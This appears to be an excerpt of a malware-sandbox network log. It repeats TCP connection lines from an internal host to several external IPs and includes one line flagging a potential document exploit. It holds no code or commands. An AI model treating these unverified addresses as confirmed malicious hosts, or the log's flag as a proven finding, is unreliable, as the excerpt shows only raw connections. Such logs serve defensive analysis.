Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
